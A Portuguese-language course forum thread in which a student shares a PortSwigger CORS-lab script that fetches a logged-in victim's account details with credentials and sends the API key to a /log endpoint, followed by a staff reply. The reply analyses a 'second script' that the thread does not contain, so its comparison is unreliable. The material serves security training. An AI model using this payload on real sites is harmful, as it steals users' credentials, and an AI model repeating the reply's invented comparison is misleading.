1
resposta

[Sugestão] Correção ao Script

Utilizando o script passado na aula o log não retornou a key, utilizando o script disponibilizado na solução do portswigger foi possivel obter.

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
1 resposta

Olá Ian.

Tudo bem?

Desculpa a demora, estou respondendo esse tópico para tentar ajudar você e outros alunos que estiverem com essa mesma dúvida, e também para organizar o nosso fórum. Valeu :)

Pelo que entendi, você está com uma dúvida em relação a um script utilizado no curso de Pentest para investigar vulnerabilidades em um servidor de aplicações web. Você mencionou que o script passado na aula não retornou a key, mas utilizando o script disponibilizado na solução do PortSwigger foi possível obter a key.

Analisando os scripts que você compartilhou, percebo que eles são semelhantes, mas com algumas diferenças. No primeiro script, é utilizado o objeto XMLHttpRequest para fazer uma requisição GET para a URL YOUR-LAB-ID.web-security-academy.net/accountDetails. Em seguida, no callback reqListener, é feito um redirecionamento para a URL /log?key= concatenada com a resposta da requisição.

Já no segundo script, é utilizado o mesmo objeto XMLHttpRequest, mas a URL é definida em uma variável chamada url, que deve ser preenchida com a URL do seu laboratório. Em seguida, é feita a requisição GET para a URL url + "/accountDetails". No callback onreadystatechange, é feito um fetch para a URL /log?key= concatenada com a resposta da requisição.

Aparentemente, a diferença entre os dois scripts está no momento em que é feito o redirecionamento para a URL /log?key=. No primeiro script, o redirecionamento é feito no próprio callback reqListener, enquanto no segundo script, o redirecionamento é feito dentro do callback onreadystatechange.

Eu sugiro que você teste as duas abordagens para verificar qual delas retorna a key corretamente. Talvez o problema esteja no momento em que o redirecionamento é feito no primeiro script, e ao utilizar o segundo script, que faz o redirecionamento dentro do callback onreadystatechange, você obtenha o resultado esperado.

Espero ter ajudado e bons estudos!